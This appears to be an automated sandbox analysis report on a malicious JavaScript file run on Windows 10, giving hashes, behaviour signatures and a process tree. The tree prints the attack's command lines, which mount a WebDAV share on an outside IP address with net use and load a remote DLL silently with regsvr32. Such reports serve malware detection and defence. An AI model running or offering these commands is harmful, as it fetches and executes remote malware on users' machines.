Analysis

  • max time kernel
    124s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-07-2024 06:30

General

  • Target

    3196914214168893502.js

  • Size

    5KB

  • MD5

    f8e548cebdeb938069478f2129a4db9c

  • SHA1

    6c433fca0377733e77dacf7f0affb5834e788562

  • SHA256

    ba1ba1779f8881981956c8299c71b448bce1d6d788fabc76eaac9275ab7921b8

  • SHA512

    b7990b24372ea5c2448fc1d5936dfb037cf5aa6976d4b168c3f5f6610adb2f4994d4d248ceda2ec1d02988f3691a06218fa43737c8227e23f8c123cb27cefd71

  • SSDEEP

    96:3BRG8KeMricUlRbHLLyAcnH0xPw7SkRw75:3BRb7MmcUnLJcH0xlkRY

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3196914214168893502.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3596
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\3196914214168893502.js" "C:\Users\Admin\\jrivkr.bat" && "C:\Users\Admin\\jrivkr.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4008
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:3876
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\213.dll
          3⤵
            PID:4420
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3796,i,17211346206607097582,14783440229797954268,262144 --variations-seed-version --mojo-platform-channel-handle=2960 /prefetch:8
        1⤵
          PID:3228

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\jrivkr.bat

          Filesize

          5KB

          MD5

          f8e548cebdeb938069478f2129a4db9c

          SHA1

          6c433fca0377733e77dacf7f0affb5834e788562

          SHA256

          ba1ba1779f8881981956c8299c71b448bce1d6d788fabc76eaac9275ab7921b8

          SHA512

          b7990b24372ea5c2448fc1d5936dfb037cf5aa6976d4b168c3f5f6610adb2f4994d4d248ceda2ec1d02988f3691a06218fa43737c8227e23f8c123cb27cefd71